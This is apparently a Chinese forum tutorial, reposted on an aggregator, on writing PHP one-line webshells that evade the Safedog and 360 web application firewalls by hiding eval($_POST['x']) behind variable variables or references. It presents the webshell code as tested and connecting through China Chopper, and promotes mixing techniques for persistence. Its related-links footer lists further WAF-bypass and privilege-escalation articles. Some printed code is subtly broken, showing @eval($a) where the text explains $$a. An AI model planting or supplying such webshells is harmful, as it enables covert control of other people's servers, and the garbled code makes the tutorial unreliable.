00x01安全狗的确是让人很头痛,尤其是在上传一句话或者写入一句话的时候,会被安全狗拦截从而拿不下shell。
当然,安全狗是最简单的一款waf,很容易就进行一个绕过。
00x02
对于绕过安全狗跟360,我姿势不多,但是却很实用为以下两种

1.#可变变量
2.#引用变量

00x03
##可变变量(菜刀可能报错)
<@eval($_POST['x'])
复制代码

经常使用的人都知道,只是最简单的一句话,不过任何waf与规则
我们先来加入需要的函数
<?php
$a='b';
$b=$_POST['x'];
@eval($a);
复制代码

我们先来测试下是否被杀

可以看见,是成功过了安全狗,我们来测试下连接

并且成功可以连接
代码分析#
<?php
$a='b';
$b=$_POST['x'];
@eval($a);
?>
复制代码

我们来看第二行代码
$a='b';
复制代码

知道可变变量的人应该都能看懂吧,第三行$$a中的$a是b,也可以这么说$a替换成b。
继续看第三行
$b=$_POST['x'];
复制代码

根据第一行知道$$a就是$b,$b用来接收post 提交的数据

最后第四行
@eval($a);
复制代码
执行$$a相当于执行了$a也就是$b. 最后,我们整合成一句话
<?php $a='b'; $b=$_POST['x']; @eval($a);?>
复制代码

总结
1#  可变变量比较灵活对于过狗也比较简单
2#  不过D盾只适合安全狗与360针对性比较高

00x04
##引用变量
<@eval($_POST['x'])
复制代码
还是原始一句话,我先写出写好的代码
<?php
$a=$_POST['x'];
$b=&$a;
@eval($b);
?>
复制代码

我们继续测试下是否被杀,

可以看见,一样过了安全狗,我们继续测试下是否可以连接

可以看见,已经连接上了,并且可以进行操作。
##代码分析
<?php
$a=$_POST['x'];
$b=&$a;
@eval($b);
?>
复制代码

我们来看第二行代码
$a=$_POST['x'];
复制代码

$a用来接收post提交的数据  
继续看第三行代码

$b=&$a;
复制代码

$b引用了$a的内存地址间接的相当于$b接收了post提交的数据
最后第四行代码:
@eval($b);
复制代码

执行$b。最后我们来整合成一句话
<?php $a=$_POST['x']; $b=&$a; @eval($b);?>
复制代码

总结(与可变变量一样)
1#  可变变量比较灵活对于过狗也比较简单
2#  不过D盾只适合安全狗与360针对性比较高

00x05
                                                                         大总结
1#  了解其原理,一味的抄写在安全狗更新时无法能够独立编写
2#  活学活用,多种方式结合可写出各种变态一句话,从而达到持久等效果
3#  多多与人交流,交流乃学习不可缺少的根本,共享思路结合思路,便可以称为一个大牛。4#  安全狗只是一个很简单的waf,不能止步于此,低调发展寻求高傲的技术

00x06
1#当然,我只列出的是一部分,还有许多的方式,例如函数替换,关键字拆分,双变量等方式。
2#第一次写文章,可能写的不是很好,有建议者可以评论点出,万分感谢。
3#日后我会分享过waf注入的思路,请大家多多支持!

本文来源:http://bbs.ichunqiu.com/thread-9012-1-1.html?from=bky

[WEB]绕过安全狗与360PHP一句话的编写的更多相关文章

  1. 如何自己写aspx过狗D盾一句话木马

    hi,我是凉风,(以下内容纯属个人见解,如有不同的意见欢迎回复指出) ,本菜比发现aspx过狗的姿势不常见,不像php一样一抓一大把,于是我决定研究一下aspx 本文作者:i春秋签约作家——凉风 引用 ...

  2. 绕过安全狗等一些WAF收集

    绕过安全狗sql注入 http://demo.74cms.com/plus/ajax_common.php?act=hotwordquery=錦union+select+1,group_concat% ...

  3. 从getwebshell到绕过安全狗云锁提权再到利用matasploit进服务器

    本文作者:i春秋签约作家——酷帥王子 一. 利用getwebshell篇 首先对目标站进行扫描,发现是asp的,直接扫出网站后台和默认数据库,下载解密登陆如图: 下面进后台发现有fckeditor,而 ...

  4. 中转Webshell 绕过安全狗(二)

    前言 在实践中转webshell绕过安全狗(一)中,在服务端和客户端均为php.某大佬提示并分享资源后,打算使用python完成中转.部分代码无耻copy. 客户端 本地127.0.0.1,安装pyt ...

  5. 中转Webshell 绕过安全狗(一)

    前言 听说中国菜刀里有后门.抓包我是没有监测到异常数据包.为了以防万一,且更好使用中国菜刀硬杠安全狗.笔者收集了一下资料.无耻的copy大佬的源码,只是在大佬的基础上简单修改了一下,达到Webshel ...

  6. SQL注入原理及绕过安全狗

    1.什么是SQL注入攻击 SQL注入攻击指的是通过构造特殊的输入作为参数插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令 http://www.xxx.com/list. ...

  7. .Net中Web增加加密狗管理

    由于业务中最近需要使用到加密狗,增加对Web代码的管控,所以需要进行加密狗使用的研究 首先,对于没有接触使用过加密狗的人需要有个大致的认识,加密狗分为 MasterDog, 1.下载加密狗的开发套件, ...

  8. Mysql注入绕过安全狗

    转载请加原文链接:https://www.cnblogs.com/Yang34/p/12055052.html 微信公众号:信Yang安全.同步更新,欢迎关注.文末有二维码. 正好最近在搞注入,昨天现 ...

  9. [11期]绕过安全狗、云锁等各大WAF注入,上传深入自动化Bypass攻击

    CDN       负载均衡.内容分发 解析漏洞一般在服务层      二进制,溢出,提权在系统层         渗透测试就是以上全部层 协议未正确解析 GET改POST   这叫参数污染 cook ...

随机推荐

  1. 控制可编辑的Div 在添加图片,或者@某人的时候 光标移动到最后

    this.$refs.editor.innerHTML += '<span style="color:yellowgreen;">@ 野猪佩奇</span> ...

  2. macos 命令行安装 ipa

    macos 命令行安装 ipa 苹果发神经后itunes已经无法在安装app了,如果有知道的兄弟可以告诉我啊 ideviceinstaller 使用这个开源项目可以在macos下安装app brew ...

  3. Semantic difference between object expressions and declarations

    object expressions are executed (and initialized) immediately, where they are used; object declarati ...

  4. 在SOUI中使用动态多语言切换

    动态语言切换是很多国际化产品的需求,SOUI之前的版本支持静态多语言翻译,通过在程序启动时设置好语言翻译模块,在程序中打开的UI都会自动调用该翻译模块进行文字翻译,但是不支持运行进语言切换. 最近几个 ...

  5. Python ftplib模块

    Python ftplib模块 官方文档:https://docs.python.org/3/library/ftplib.html?highlight=ftplib#module-ftplib 实例 ...

  6. 首次安装Ubuntu

    初试Ubuntu 双系统的安装 situation: dell(2017购) 固态250G+机械硬盘500G 已经安装windows 10 BIOS 为 UEFI rufus(向U盘写入镜像) Ubu ...

  7. C++ 初读迭代器

    迭代器 这是个啥? string对象或vector对象可以通过下标访问每一个元素,迭代器也具有同样的效果.那又有什么不同呢?事实上并不是所有的容器到可以使用下标访问每一个元素,即在容器上迭代器更具普适 ...

  8. [python]numpy.mean()用法

    a=np.array([[[1,1],[2,2],[3,3]],[[4,4],[5,5],[6,6]],[[7,7],[8,8],[9,9]],[[10,10],[11,11],[12,12]]]) ...

  9. Javascript 获取文档元素

    一.getElementById() 参数:id 属性,必须唯一. 返回:元素本身.若 id 不唯一,则返回第一个匹配的元素. 定义的位置:仅 document(即:除 document 之外的元素调 ...

  10. Django——小结

    课程介绍 MVC MVC框架的核心思想是:解耦,让不同的代码块之间降低耦合,增强代码的可扩展性和可移植性,实现向后兼容 M:Model,主要封装对数据库层的访问,对数据库中的数据进行增.删.改.查操作 ...